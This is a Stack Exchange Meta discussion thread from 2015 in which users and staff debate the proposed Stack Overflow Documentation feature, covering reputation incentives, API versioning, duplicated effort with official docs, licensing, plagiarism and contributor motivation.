Do we also want projects to abandon their own documentation platforms and move everything to SO? A lot of those documentation platforms cost a pretty penny (if not the CMS, then the hosting and bandwidth), so the idea of a completely free documentation host where the community will help you out (so you can downsize your documentation team) would be very tempting. Do we want that?
RTFM just got more complicated
Is documentation going to be a separate resource from Q&A? If someone asks a very specific question that's already covered in the more general documentation, will it be closed as a duplicate?
Incentives are important
On second look, it seems that reputation will be earned via "contributions" rather than posts. Sounds interesting... can't wait to hear more details.
How do I earn reputation with topics? Will my "answer" get upvotes?
Answers to Q&A questions often overlap one another, and the most thorough and correct answer tends to be get the most upvotes. But that doesn't mean that the most upvoted question contains all of the information needed by everyone. This is already an issue with some very specific questions, and will only be compounded by the very "general" nature of a "topic". It'd more important than ever for the community to collaborate and create a single source of truth, like a wiki answer, rather than 30 answers that mostly repeat one another, forcing visitors to read through many posts to find their use-case.
But users don't earn reputation from wiki answers.
So back to the question... how do I earn reputation? And if I don't, then why am I spending time working on documentation when I could be getting rep (and warm fuzzies) by answering questions?
JDB still remembers MonicaJDB still remembers Monica
All these points are spot on, and we're still working on them. We're showing this off early to make sure we're going in the right direction, there will be more details in the future and things are actually decided. We have guesses that will be tested/proven/broken/etc. in the betas and beyond. I'll expand in individual comments because length, and also voting. – Kevin Montrose♦ Aug 31 '15 at 19:51
Versions are arbitrary. We intend to allow the community to add new versions, and once a version is added it'll be available throughout a topic for both page level and markdown block use. What level of version is worthy of this will be decided on a per-tag basis; for .net the 1.0, 2.0, 3.0, 3.5, etc. level probably makes sense. We'll have to have rules for what happens when a new version is introduced; we have ideas, nothing firm. – Kevin Montrose♦ Aug 31 '15 at 19:54
We only showed off one topic page for length reasons, but we think Documentation can and should contain many different "kinds" of subjects. There's the class level stuff, sometimes method, but also "Getting Started" and "How do I set this up" and even smaller tutorials (I think multi-page tutorials probably won't work though). I don't think that's hard to convince people of, since it's so common in existing documentation. – Kevin Montrose♦ Aug 31 '15 at 19:57
We're OK with hosting useful content. I don't think we'll really want to encourage people designating SO as their official docs when they just start of; but we'd be OK with them acknowledging that SO docs are superior when they already exist. What matters is the end quality of documentation on the internet, not so much what (say) Facebook or Google most prefer. – Kevin Montrose♦ Aug 31 '15 at 19:59
RTFM is still a little rough, I could go either way. Right now I'd say "if it really is RTFM, there's probably a duplicate question with an answer that links to the docs already" so use that. I could be convinced to go the other way. – Kevin Montrose♦ Aug 31 '15 at 20:01
Reputation is super important, and making sure we incentivize the right thing. We've got some guesses, but they're so early and have so many known issues I don't think it's quite time to get feedback on them yet. I also want to see how the tools get used in practice. – Kevin Montrose♦ Aug 31 '15 at 20:03
@KevinMontrose - Good answers. I'd say that you'll have a hard time preventing smaller projects from moving their documentation to SO, or simply discontinuing their documentation site and redirecting people to SO. (I know it was my first thought for my company's documentation.) – JDB still remembers Monica Aug 31 '15 at 20:09
@KevinMontrose - I'd also like to add that naysayers will always find reasons to not try something. Sometimes the best way to prove something won't work is to try it, and the best way to find the path to success is to walk down a few false starts. "Pursue something so important that even if you fail, the world is better off with you having tried." – JDB still remembers Monica Aug 31 '15 at 21:45
I think one of the problems this is trying to solve first and foremost is "RTFM" "Where's the FM?" – BoltClock♦ Sep 1 '15 at 2:58
Regarding duplicates: it really boils down to how this ends up getting used. In some alternate future, every method that does X has a documentation page detailing its use and corresponding question that asks, "How do I do X?" that mostly just quotes (and links to!) an example from the docs. In some other alternate future, the question comes first and the docs mostly just quote the answer there. And in the grim future of Hello Kitty, there is only war. – Shog9 Sep 1 '15 at 3:09
It's sad that the Facebook devs still can't spell "Stack Overflow". Sheesh. – Lightness Races BY-SA 3.0 Sep 3 '15 at 13:44
@Shog9 - In the darkest timeline, Spolsky dies in a tragic stuffed unicorn accident and Atwood is driven mad by the loss of an arm. Atwood recruits Skeet to secretly lace all Stack Overflow answers with SQL Injection and XSS vulnerabilities so that they can impose reputation-based hierarchies of authority on the entire world, and the only useful part of the SO site is the regex tag (where even the insane Atwood will not dare enter). – JDB still remembers Monica Sep 3 '15 at 14:23
@KevinMontrose Versions are one of the main aspect of documentation and examples. It will be great if you could integrate some tools to auto check code snippet in different versions (like 3v4l or travis-ci). With docker containers we can test language or tools in every environment we ever need – Mikl Sep 9 '15 at 23:12
Reusing common documentation across multiple areas (e.g. method overloads) is important. For example, Microsoft has a system for doing this to generate their MSDN documentation, and when they don't seem to use it, things can get confusing. I coincidentally bumped into an instance of this shortly after seeing the SO documentation proposal. – Edward Brey Sep 13 '15 at 21:22
I would say that little projects hosted on github will definently want their documentation on SO. It is really clumsy to keep a good documentation up on github. – Kaspar Sep 14 '15 at 20:57
I did contribute to some (open source) documentation, and I prefer to contribute to official documentation rather than posting some example, explanation or whatever on some third website, wiki, or forum....
APIs can evolve for six months to six months, sometime with some minor changes which make your example obsolete. So if you have your own documentation, on your own website, you have to keep it up to date... Now imagine with a large number of APIs... You'll spend your life on that...
Making a good example isn't so easy. Let's take a basic example: You want to show how to load a 3D model in some 3D engine. Okay fine, you have to create a camera, light... set the scene... and also to set the input, which requires a third library...
If after crawling in the API, you feel like there is something missing, maybe it would be more beneficial to contact the authors than posting somewhere else. By doing that we limit one problem when you're searching on the Internet, the entropy.
Closed source code (if you really can't use open source): pointing the lack of documentation to the authors is still possible and my 1) is more than ever true.
you want to centralize APIs, the idea isn't bad in itself, but the fact is, ALL APIs are actually already centralized... on what people called the web. SO is right now doing something complementary of forums or mailing lists there is no structural need (my opinion) of what you are proposing, since it's already done.
Almost everytime I had to contact some authors, I got some answer. I have no doubt that authors like to be contacted. Often I got some thanx when I pointed some problem/lack in the documentation. Maybe your idea can a little upset some authors and contributors (I'm not talking about my case, I always contribute for small things). Don't forget some of these people may the ones who help on SO...
Your idea sounds like to me like a wrong good idea. But I'm just debating, and I'm open to the discussion; you can convince me otherwise.
The Unholy Metal MachineThe Unholy Metal Machine
Examples could come with the API version attached they are valid for and it would always be easier to adapt them for a new version than to start from scratch. But I agree that good examples can sometimes become really large. And I also agree that the goal should be to complete the official documentation, not to build an alternative documentation. A permissive license might allow this kind of feedback. – Trilarion Aug 31 '15 at 16:39
Making a good example isn't so easy. Of course it's not easy; if it was easy it would be in the official API documentation / all over the Internet already! But the users of the software can often provide more useful examples then the developer, simply because the developer 1) has a narrower focus on the precise API syntax that he/she worked on, and 2) is affected by the knowledge the internal workings. – Zev Spitz Aug 31 '15 at 22:00
Let's take a basic example. This proposal is less about basic single-method examples, and more about how collections of API parts can be used together, precisely like your example. – Zev Spitz Aug 31 '15 at 22:02
@ZevSpitz sorry but i'm not agree. If you want to show how to load a 3D model by using some function, you have to show the model in a window, with light and stuff... – The Unholy Metal Machine Sep 1 '15 at 18:19
What if I just want to load a 3D model, without a burning desire to use specifically function xyz in module abc? I would also want to know all the other details as well (if not in this example then at least an easily findable linked example). Official documentation examples are often unhelpful in this respect, because it is easiest for the developers to arrange the documentation by module and function, and the example is usually tied to the specific function. – Zev Spitz Sep 2 '15 at 7:00
This is actually one of the things MSDN gets right in the documentation of the Office API, VBA and some other APIs (generally the Automation APIs). Documentation is often split between How do I, Concepts and Reference -- Word, VBA, WIA. (It is admittedly almost impossible to find unless you know it's there; that is something this proposal also aims to solve.) – Zev Spitz Sep 2 '15 at 7:20
There are some languages or tools which has no documentation (online documentation) at all (phpdbg for example). If it would be a place to make docs with large experienced devs community, it'll be great place. – Mikl Sep 9 '15 at 22:44
@Mikl if you make a documentation for (E.G) phpbdg, I'm sure the authors will add it to the link "documentation" of the web page you pointed. Of course, I understand that if there is no doc at all, it would be better to add some somewhere. But honestly, I don't think that the case for many common APIs to don't have any documentation. So, I'm agree with you in the case there is no doc at all, but the question/proposition here is quiet more general... – The Unholy Metal Machine Sep 11 '15 at 3:00
You'll spend your life on that... No you won't. The users of your project will keep the documentation up to date, not you (the developers of the project). – Martin Carney Nov 20 '15 at 19:25
Contribute BACK, instead of duplicating effort (and COPYing).
In my opinion, this is largely duplicated effort.
Most of the questions here concern something which is more-or-less open source. There are very few closed source things that have an API and enough users such that we would ever achieve quality.
However, for open source projects, the documentation should at least be eventually contributed back into the original projects. This may however mean we would need different license agreements for different APIs...
I'm against duplicated effort. I'd appreciate a Wiki-like effort that could import the existing documentation similar to translation/l10n efforts, involve the community in improving it, and eventually be merged back into the original project. This may also help with handling different versions. Think of e.g. Cyanogen, which has to translate strings of their Android version to many languages.
Also, it will prevent a lot of copyright issues, if it is setup such that it can legally import the existing documentation. If you start from scratch, a lot of users will copy the existing documentation even just to change a spelling error. It's already happening all the time on SO that people copy examples from other sources which may constitute a copyright violation. It happens on Wikipedia all the time, too. Users are concerned with usefulness, not with legal issues.
Has QUIT--Anony-MousseHas QUIT--Anony-Mousse
Counterpoint: MSDN is enormous, sprawling, and most if not all of it is closed to comment. I think I agree with you that duplication of effort is bad, and would in general think this whole idea is silly if not for MSDN. The ideal outcome for all this in my mind would just be that Microsoft open up its docs to comments that provide useful examples, descriptions of edge-cases, etc. After that, Warlords of Documentation can go away as far as I'm concerned. – SeldomNeedy Sep 1 '15 at 20:15
But MSDN is just a subset. Think of jQuery, Java and such. JavaDoc never allowed comments. MSDN is a single provider, so to speak. That would be a warlords of MSDN. – Has QUIT--Anony-Mousse Sep 2 '15 at 1:33
You're right. jQ is another example of which I was reminded reading through here, plus Java docs for the folks who work in the larger shops which still use and build Java-tools heavily. I had a decent idea for addressing the effort-duplication issue... (see my response). But the copyright issues are a much harder thing to solve (partly because the courts have not really caught up to the idea of what coders do, and just how much of what they do is the same no matter who does it – see "copyright trolls" who succeed esp. in the software realm) – SeldomNeedy Sep 2 '15 at 18:16
I came to say this - we should be encouraging fixing the documentation itself wherever possible, instead of simply creating a new set. That way all users of the libraries/languages/frameworks benefit, not just those that use StackOverflow. – sevenseacat Sep 3 '15 at 13:30
How would this work in the real world, with thousands of different platforms, documentation standards, hierarchies, etc., without everyone migrating their docs to one unified platform? – Pekka Sep 4 '15 at 22:05
As a dev of a major project (matplotlib) I think this is the best response. Effort that goes into SO based documentation should be directed upstream. – tacaswell Sep 6 '15 at 4:04
MSDN, at one point, was a lot more encouraging of community content. The typical contribution consisted of a technical support question, rather than helpful content. I'm sure the cost of moderating sealed the fate of community content on MSDN. – Alan McBee - MSFT Sep 16 '15 at 19:42
One problem touched on in a couple of other answers is that documentation needs to evolve with the language, library or tool it's documenting. Apparently obsolete answers are a pretty big problem here, and so would likely be a problem with documentation as well. One particular problem with dealing with obsolete answers, is while they may deal with older versions, many people may still be using the older version making the answer still useful.
I think that means that the new documentation feature is going to need to handle multiple versions of a topic explicitly. There can't be just be one version the Python topic for urllib, there needs to be at least one for each of Python 2.7 and Python 3.x. And no, just going with 3.x isn't really a good option, given that the 2.7 tag is more popular than the 3.x tag. On the other hand there are probably enough Python topics that would be same in all versions that completely partitioning Python documentation by version wouldn't be a good idea.
One advantage of having topics tied to specific versions (and not moving targets like Python or Python 3.x) is that they won't rot on the vine. Obsolescence becomes much less of a problem this way.
More generally I'm worried about the overall quality the documentation, I don't think there's necessarily the right expertise here to create better documentation than the web already offers.
Ross RidgeRoss Ridge
How about a version tagging system? Topics which were correct and relevant in multiple versions of a language could be tagged with all of them. When a new version came out, all topics could be flagged as needing checking to see whether they could be tagged with the new version or not. – Jo Douglass Sep 1 '15 at 8:11
We have some thoughts on versioning. They're less complete than some of what's presented here (and everything presented here can still change), but the gist is "master version table for each tag, every Topic has a list of versions it applies to, within in each Topic you can further mark individual block as applying to particular versions, when a new version is released we infer [heuristic TBD] which pages get it outmagically." This will let us handle searching for versions, and let us do things like "when this version was added, what was the state of this Topic page." – Kevin Montrose♦ Sep 1 '15 at 15:28
I've often thought that online documentation should be like CSS, or derived classes, with a baseline set of facts as paragraphs, then a superset which is overlaid upon that superset. So the base text shows through unless it's been superseded by later information. To see older info just peel back a layer (casting?) where some of the baseline may peek through or a prior version might still overlay that. Then in SO fashion or like a wiki, in one "view" each layer gets peer reviewed, upvoted, and edited, while in a more "consumer-oriented view" the doc is just readable as any other flat text. – TonyG Sep 4 '15 at 5:09
Versioning: I totally agree that there should be a handy mechanism for both, see for which target version a doc is handy as well as for 'marking' the right version while providing such a snippet. This discussion here reminds me pretty much of the Postgres documentation. What I like there is that the pages of a 'topic' (e.g. SELECT) stay the same but you can easily navigate to your specific target version. With this in mind, on SO, there are many answers for Postgres query questions telling 'this example is valid for PG < 8.1, for > 8.1 better use ...'. Maybe this could be some inspiration? – bully Sep 7 '15 at 13:28
@KevinMontrose For me, the silver bullet for overcome versioning problem is providing the full environment specification for each code example (it can be hidden under some Env icon in the corner of code snippet block and pops up when it clicked), go further if it will be integrated with auto testing platform we can have results without time wasting (it can be hidden under some Test Result icon), for that test suite need to be done. And more, we can give full environment snapshot (system image) to instant run with one click (docker containers can do this magic) – Mikl Sep 10 '15 at 0:17
Stack Overflow already has severe quality and maintenance problems:
Wrong or harmful posts do not get downvoted and remain for everyone to see and copy-paste from.
Posts with content problems receive comments about those problems, the comments pointing out these problems receive upvotes, the problem remains.
Users don't care about quality; answerers care about their reputation and askers just want to get their problem solved.
The majority of the userbase is not quite proficient in English.
These problems, though maybe slightly exaggerated, need to be fixed before starting yet another site.
Also, documentation (or rather, class or function documentation) is not the place for everything. You shouldn't want to explain the entire concept of a "file", or a "database", or a "socket" at the File, SqlCommand or Socket class documentation pages. There are separate resources that thoroughly handle such subjects. If users don't want to educate themselves but "just want a working socket implementation example", and this proposed site is going to cater for that, we're going to have a bad time.
As others have pointed out, writing good documentation is hard. As I try to explain above, writing it in a context comparable to Stack Overflow is, again, IMHO, impossible to get right.
Maybe without the gamification of "fake internet points" it has a chance, otherwise I can only see this as a race to the bottom.
CodeCasterCodeCaster
The problems you've mentioned may be correct if you look at each of them seperated. My english isn't the best for example. But as we have a collaborative platform here we are able get the best out of it. What are your suggestions? Your post isn't very constructive. Do you like to teach all non-native speakers better english? Or do you want all non-native speakers to stop giving answers? – Kai Sep 1 '15 at 12:37
@user I tried to address real problems that currently exist and that will propagate to the new site if not solved. If I had the solution to those problems, I would have mentioned them. – CodeCaster Sep 1 '15 at 13:00
@CodeCaster I'm not sure that the problems listed would inevitably propagate to the documentation area. Certainly, the incentivisation and privilege structure for documentation needs careful thought, as does the peer review system, but given the focus and structure would be different (i.e. it's not a place for people to ask for solutions to their problems), you wouldn't have the major issue of loads of low quality questions being asked. Poor English can be edited, and I don't see that it's a huge barrier. – Jo Douglass Sep 1 '15 at 13:20
For some languages, libraries and tools there is no documentation at all. I would be happy to have an opportunity to make it. As for the language i think it would be great to have multilingual versions of documentation, because you can be good in coding and not good in english, and translation of good article in different language to english is much easier then write good article (it can be done by translator alone without coding experience). – Mikl Sep 9 '15 at 23:40
This answer seems to best outline my concerns. Extending upon your concerns regarding examples, which examples will be selected for the documentation? It seems like there will be emphasis upon examples solving common problems, degrading the quality of the documentation for obscure problems. Additionally, suppose you have one large group of people who insist upon using an outdated, probably inaccurate resource, a smaller group of people who insist upon using more up-to-date, credible resources and many in between who don't care... This already happens among the realm of academia regarding C. – autistic Sep 11 '15 at 0:11
I fully agree with your first 3 points. I see so many posts that have accepted answers that either are not the best answers, out-dated, or provide insecure code. I guess my main fear is with users chasing reputation and degrading the proposed documentation system simply to earn points. I have no solutions to these issues but more attention given to them could surely benefit SO and the proposed documentation system. – Blizzardengle Sep 13 '15 at 7:30
I think this idea certainly has value, primarily in the realm of GitHub-wiki style documentation of general topics and tasks surrounding a specific library or tool. There are a few important things to consider here though.
Advantages of Official API Documentation
When it comes to language API documentation (for example, classes, method names and signatures, etc.), the proposed approach has a number of significant disadvantages when compared to existing solutions. Or rather, it lacks a number of the advantages that many existing solutions possess.
Can be generated from code
Often when I see documentation for an API in a programming language, things like method signatures, class names, and return types are pulled into the docs using an automated tool. This has a number of advantages.
Generating API documentation automatically practically guarantees that all methods and classes are at least mentioned in documentation, even if they aren't thoroughly described.
This also has the positive side effect of making lack of documentation for a specific method highly visible, so it's clear what areas of the documentation need to be improved.
More resistant to change
Tying documentation to code means that the documentation is inherently version-specific. There are documentation available for all versions of the codebase, even intermediate revisions not part of an official release.
Additionally, documentation generated from code usually pulls descriptive text from annotated comments in the source code itself. This helps ensure the documentation stays up to date, because whenever a developer updates the code they have a clear opportunity (and responsibility) to update the documentation along with it.
Supported by the software's developers
Others have already mentioned this, but official documentation has the advantage of the ultimate experts on the system, the developers, being the ones writing it.
Advantages of the Proposed System
This proposal is not without its own merits though. Specifically...
Less friction for community contribution
Official documentation can often be difficult or impossible to contribute to. Even with open source systems, submitting a pull request isn't quite as easy as making an edit in a wiki-style system like the one you are proposing, and pull requests don't scale as well.
With closed source it's even worse, as there's often no opportunity at all for community members to contribute to the official documentation. In such a situation, this proposal could be an enormous improvement, especially if the existing documentation sucks.
I really like the idea of examples shown in this proposal. I often find that a short example helps me understand how to use a feature far quicker than any textual description ever could. So much so that I've often found myself ignoring the text and skipping straight to the written examples when skimming over documentation.
When is this system better?
The way I see it, the proposed system is better than official documentation in the following situations:
When dealing with topics more general than simple API documentation
When describing how to perform a specific task, especially where developers might be unaware of what methods to use for performing that task (there's a lot of overlap with Stack Overflow here)
When the the official documentation is horrible and the community can't do anything to fix them
Can we get the best of both worlds?
If the main goal of this proposal is to "improve developers' lives on the Internet" by greatly improving documentation, I wonder whether it might be possible to get the best of both worlds. Can we keep all the advantages of official documentation, while also getting the advantages of examples and frictionless community contributions?
I'm not really sure. I wonder if it might be possible to pull in auto-generated documentation from existing tools (like RDoc in the case of Ruby or Javadoc in the case of Java). Maybe Stack Overflow could expose some kind of API allowing documentation to be pulled in from an external source, and later pushed back with included community improvements? Or maybe it's better to stay away from API documentation in favor of more general topics? I don't really know. Does anyone else have any thoughts on this?
Ajedi32Ajedi32
This is an interesting line of thought, because no matter what we'll be living in a world with both at launch. – Kevin Montrose♦ Aug 31 '15 at 22:58
@hek2mgl I don't think the response here is really so much a "no" as it is a "proceed with caution". Obviously there are some potential problems with this idea, but I don't think they're unavoidable. – Ajedi32 Sep 1 '15 at 16:06
I really like the idea of pushing or at least having the ability to push back. Very important for being able to push back is the right license. A dual licensing (CC for keeping the content here and a license allowing pushing back) might be in order. This of course means that one in principles says goodbye to the dream of SO being the one and only documentation source. – Trilarion Sep 1 '15 at 19:02
@Ajedi32, I think there's much to be said for the tying documentation & code together, like you mentioned. I question whether you could import official docs across a variety of project documentation solutions and maintain any sort of quality. – xdhmoore Sep 4 '15 at 0:02
@xdhmoore That feature (if implemented) would have to be initially limited to specific languages. Kind of like how code snippets only work for JS CSS and HTML right now. – Ajedi32 Sep 4 '15 at 2:46
I think it might be harder than that. JS, for example, has multiple documentation solutions. And some documentation solutions are customizable. – xdhmoore Sep 4 '15 at 18:18
@xdhmoore Yeah, sorry. By "language" I really meant "topic". Like NodeJS would have one solution, and the JS DOM might have another. That's also why I suggested that SO expose a standard API for importing/exporting documentation. That way third parties could write tools to import basically any kind of documentation into the system, making the whole idea much more flexible and scalable. – Ajedi32 Sep 4 '15 at 18:40
If I generate my docs instead of hand-write them (which is pretty common), what happens when some major changes happen and I need to update them? Do all of the user-contributions get killed? – Qix Sep 7 '15 at 5:43
@Qix Not if you pull in the user contributions first. Think of the user contributions as a branch in git. That's how I'm envisioning it anyway. – Ajedi32 Sep 7 '15 at 14:32
@Qix major changes meant that you have a new version of your app, the docs for old version, i think, should remain and both versions should be accessible, and no deletion is needed :) – Mikl Sep 9 '15 at 23:56
I want to brainstorm from the science of motivation perspective. Why would people be willing to contribute to Stack Overflow-documentation, and how to make their experience less frustrating?
Consideration #1: There is a very popular meme that Stack Overflow community is unfriendly, the atmosphere is toxic, the questions are routinely closed by insecure and troubled people with deletionist attitudes, and moderators are authoritarian and love censorship. (For example, see this Reddit thread and the amount of sarcastic comments about duplicates).
It doesn't matter, how accurate this meme is. If Stack Overflow-documentation is anything like a wiki, there will be even more hatred and frustration. On Stack Overflow everyone writes questions and answers with their own style, their own examples, and their own opinions. On a wiki everything is supposed to be canonical, so people would constantly fight over which example is more canonical, which wording is more appropriate, there will be lots of references to more and more rules and style guides. It will be like Wikipedia. And this might provide bad incentives: wins the one who is more stubborn.
Consideration #2: Michael Snoyman published a post with thoughts why people are willing to send pull requests with documentation improvements, but not contribute to a wiki. Please read this post.
For a wiki: maintainers think they are encouraging the community to write documentation, contributors are intimidated by the wiki, because they are afraid they aren't justified in editing it, readers rightly expect incomplete, unstructured, and messy information.
For documentation that is improved through pull requests: maintainers deal with documentation in atomic fashion using tools they know, contributors don't worry about inadvertently doing harm, because their contributions are checked by the maintainers, readers know that the information is canonical, because somebody reviewed the contribution before publishing it.
Consideration #3: When you contribute to a wiki, you always feel that you are stepping on somebody's turf. It doesn't matter, if wiki maintainers explicitly encourage you to contribute, it still feels like you can break something and make someone silently irritated.
When you contribute a PR, the worst that can happen is that it would be rejected. Stack Overflow-documentation must make sure that the worst that can happen to your contribution is rejection or downvote, not silent aggravation of the community, or edit wars.
Consideration #4: There is a psychological reason why I contribute to Stack Overflow and not Wikipedia. I believe this reason boils down to:
Autonomy and ownership: My questions and answers are largely untouched by the community (they can be downvoted, but downvotes are less psychologically offending than somebody rewriting your words). My questions and answers are written in my own literary style, with examples of my choosing, with the idea and structure that I envisioned. On Wikipedia there's none of it.
Persistence: Subsequently when I write a question and answer, and they are minimally conforming to Stack Overflow rules, they are going to stay forever. It feels like I contributed to the knowledge of humanity. It feels like I did something immutable. On Wikipedia my contributions are constantly under thread of futility.
Atomicity: One answer means one indivisible chunk of contribution. It feels like I contribute knowledge brick by brick. My contributions feel tangible and measurable. They don't feel like opaque Sisyphean toil, where you don't know if you are actually contributing or just fighting against the wind.
Visualization of work and gamification: Not only do I do atomic chunks of contributions, these chunks are explicitly measured by the system. These can be simple measurements in the form of "number of answers": yesterday I had 100 answers, but today I wrote 101th, yay! These can also be scores, badges.
Visibility and recognition: Everybody can see that my answer was contributed by me. On Wikipedia my contribution is lost in the long list of commits on the history page. When I write answers on Stack Overflow I feel that my answers are recognized, that people see them and see that it is I, who wrote them.
Consideration #5: The following is quoted from Doing Good Better on how to find a job that maximally satisfies you, based on scientific evidence. This directly applies to motivation behind contributing to documentation. If for some reason you don't get your kicks, you won't do it. (BTW, the book is fantastic, read it now!)
Research shows that the most consistent predictor of job satisfaction is engaging work, which can be broken down into five factors (this is known in psychology as the ‘job characteristics theory’):
Independence — To what extent do you have control over how you go about your work?
Sense of Completion — To what extent does the job involve completing a whole piece of work, so that your contribution to the end product is easily visible, rather than being merely a small part of a much larger product?
Variety — To what extent does the job require you to perform a range of different activities, using different skills and talents?
Feedback from the job — How easy is it to know whether you're performing well or badly?
Contribution — To what extent does your work ‘make a difference’, as defined by positive contributions to the wellbeing of other people?
As well as job satisfaction, each of these factors also correlates with motivation, productivity and commitment to your employer. Moreover, these factor are similar to those required to develop flow, the pleasurable state of being so immersed in an activity that you're completely free of distractions and lose track of time, which some psychologists have argued is the key to having genuinely satisfying experiences.
Mirzhan IrkegulovMirzhan Irkegulov
Excellent point! I've stopped contributing to Wikipedia because my carefully sourced contributions were replaced by tripe. The problem is that the tripe peddlers are legion and have plenty of time on their hands to peddle their tripe. The experts are few and usually have more fruitful things to do than wage edit war with the tripe peddlers, so the peddlers win. The editorial practices on SO are such that if an expert posts an answer, the expert can expect this answer to not be defaced by a tripe peddler, but on Wikipedia all bets are off. – Louis Sep 3 '15 at 0:45
Motivation is a concern. Engineers who know a topic well aren't usually inclined to write docs, and developers notoriously can't write well. So I wouldn't want the average hack writing docs. That leaves it to those with knowledge And writing skills. Why would these folks spend time documenting software here? I write a ton of docs for FOSS and commercial software, but quite often I (and my wife) ask why, when I get paid for code and consultation. I like the topic here but will always need to weigh the value of time on SO vs elsewhere. Recognition and warm fuzzies have limited attraction value. – TonyG Sep 4 '15 at 5:49
I often recommend to people who are trying to establish a reputation, or gain experience, that they go join active open source communities and write documentation. – Andy Dent Sep 8 '15 at 12:25
I like the idea, even though I'm not sure if it'll work well. The general idea has been around for a long time, another place in the SE system to put content that doesn't fit into the Q&A system. To some extent this can be used for canonical answers, blog posts, tag wikis, tutorials and similar content.
One concern I have is the increased potential for plagiarism. Tag wikis already receive a lot of suggested edits that are taken verbatim from Wikipedia. I would suspect that this new feature would receive direct copies from existing documentation by users trying to gain badges or reputation. This is of course already an issue with the regular Q&A, but I fear that it might be an even bigger issue if there is an obvious place to look for content to copy, the original documentation. I'd think about ways to support the users checking suggested additions for possible plagiarism, or maybe even an automatic system for that.
Related to that is the issue of users duplicating effort where good documentation already exists. With reputation on the line, I could imagine users adapting existing information without need just to earn some reputation on SO.
The other issue is assigning reputation for collaboratively edited content. So far SE has avoided this, community wiki posts don't give out any reputation. This is a pretty hard problem, and anything I can think of has severe issues. But I assume the SE team has something in mind here, I'm curious to hear the details at some point in the future.
Another consideration is the licence, it might make sense to think about an even more permissive licence to make it easier to integrate documentation created here into the official documentation, if the project wants to do that.
Mad ScientistMad Scientist
With plagiarism being such a huge problem on SO, hoo boy. – BoltClock♦ Sep 1 '15 at 2:59
otoh, if the documentation of my tool is good enough that people plagiarize it on SO, why not set up my own account (if I don't have one already) and just port the whole documentation on block over. No more bandwidth fees, no more hosting fees. And a horde of people who want to improve on it. I'd do it. – Angelo Fuchs Sep 2 '15 at 10:01
I generally agree with Stijn. There is already documentation out there for many things - some of it good, some of it bad. I think that his points need to be addressed for this to make sense.
What worries me the most is that this is a very SO-centric feature. I don't generally have a problem with this, but I do when it's eating up resources that could be devoted to improving something that would benefit every site: tag wikis. There are many suggestions to improve tag wikis out there, from improving visibility to mobile support for tag wikis to general improvements. The ability to create, maintain, search, and use tag wikis - improving a feature that already exists across the network - seems like it should take precedence over a feature that will benefit a few sites. I'm not sure all of what should be done with tag wikis - I'd like to see more attribution, more searchability, more rewards for working on them, more moderation ability (queues and such related to new tags and tag wiki updates) and maybe even the ability to create tags and tag wikis without attaching them to questions.
Since this is a network of sites, I'd like to see viable answers from other members of non-SO communities as to how they'd potentially use this on their site. I'm just having trouble coming up with good ways I'd want to use this on Programmers or the other sites that I frequent. If this is indeed an SO-centric feature that adds little value across the network, I'd like to see some kind of work on things that impact the other sites in the network as well.
Thomas OwensThomas Owens
I think for other sites like some of the ones under the "Technology" group (Mathematica, Blender) could use this directly. And with a bit of tweaking, even some other sites like Arqade (console commands?), ELU (grammar rules), and Seasoned Advice (measurements/terminology) could see some benefits as well. – ryanyuyu Aug 31 '15 at 16:21
@ryanyuyu Couldn't some of those sites also first benefit from tag wiki improvements, for example? There may be some sites who can use some form of this. I'm talking about making choices to (a) fix features everywhere that would benefit most sites or (b) design, implement, and test a brand new feature that would only benefit a smaller number of sites. There's not enough of (a) happening. – Thomas Owens Aug 31 '15 at 16:24
I really sympathize with the need to improve tag wikis. But I'm afraid that tag wikis have so many problems that we should at least consider alternatives. In particular, I don't think adding more features will help. At this point, it's too early to evaluate whether the documentation concept will be relevant to other sites. I think it will, but we're going to be using Stack Overflow as the guinea pig first. – Jon Ericson♦ Aug 31 '15 at 16:24
@JonEricson What problems do tag wikis have, other than the fact that they aren't available on mobile, they aren't searchable from the site, and they don't do a good job providing attribution to contributors? Fixing those three things would go a long way to making community contributed non-QA content so much better for everyone. – Thomas Owens Aug 31 '15 at 16:26
@ThomasOwens: Those are all part of the problem. I'd add that there's little incentive to update tag wikis, they are of wildly varying quality, making synonyms and deleting tags causes wikis to drop off the face of the site, there's no way to create anchors to individual sections or split them into pages, etc. and so on. Frankly, if tag wikis aren't outright broken, they are holding together with duct tape. – Jon Ericson♦ Aug 31 '15 at 16:33
@JonEricson Honestly, I'd be really happy if the team sat down and took a look at usage on other sites. Look at a use case on a non-SO, and even a non-tech site. Look at Gaming, Cooking, Academia, or maybe a different kind of tech site like Apple or Unix & Linux or a softer site like The Workplace or Programmers. Maybe you're right and tag wikis are broken and it's not worth fixing them. But if you're going to build a new feature, I'd like to see it thought through for everyone and not just SO so that it can not only be rolled out, but be useful to everyone on the network. – Thomas Owens Aug 31 '15 at 16:36
I think the other sites could actually use this more than SO. Poor documentation is better than no documentation, and we have at least poor documentation for almost everything that SO covers. But, what authoritative online resources are there for musicians or cooks? I would love to see a community authored open source cook book that lists how long to boil an egg to avoid a runny yolk, what temperature is medium rare for what meat, and other such things. Or, a musical reference with things like the difference between a time signature and a key signature. – gilly3 Aug 31 '15 at 20:39
@gilly3 - For the cooking, there are various attempts at open-source cookbooks already available (not to mention Seasoned Advice). For the musical reference, I think you may be describing Wikipedia. – TigerhawkT3 Aug 31 '15 at 20:59
Perhaps this proposal would actually replace tag wikis, as the documentation in this format is far more flexible. – Zev Spitz Aug 31 '15 at 21:42
Some thoughts:
The documentation sample enumerates a class's constructor overloads and their parameters. I don't think this is a good sort of thing to include, and could even be outright harmful. I think we should avoid anything that resembles standard documentation of functions, their parameters, their return types, their error conditions etc, for several reasons:
It will always be a less authoritative source than the official documentation. For example, imagine if the official documentation says that a method may throw a IllegalStateException in some obscure multithreaded scenario but the Stack Overflow "documentation" leaves that exception out, and a developer thus designs their code on the assumption that the method cannot fail, just who is liable when the exception occurs? Is it the developer, for trusting the popular Stack Overflow documentation? Is it the Stack Overflow contributor who documented things ever-so-nearly-completely but not fully-actually-completely? Is it the API developer, who, realizing that everyone now depends on the exception not occurring, is faced with the prospect of reimplementing the API to cater to the common usage, whatever the cost? With third-party documentation, blame is diffused and no-one in particular is responsible.
On the other hand, official documentation is more than just an explanation of what things mean. It's a promise about how things work, a contract that the API writer makes with the API users to support a particular usage. No-one other than the API writer can make such a promise, because no-one else is responsible for writing the code that honors it. If they don't honor it at least you have someone to blame.
It will always be less complete than official documentation (which, even if it's auto-generated, will at least include mention of every API member, whereas rep-driven documentation writers could leave obscure things out).
I fear it will struggle to cope with changes between API versions.
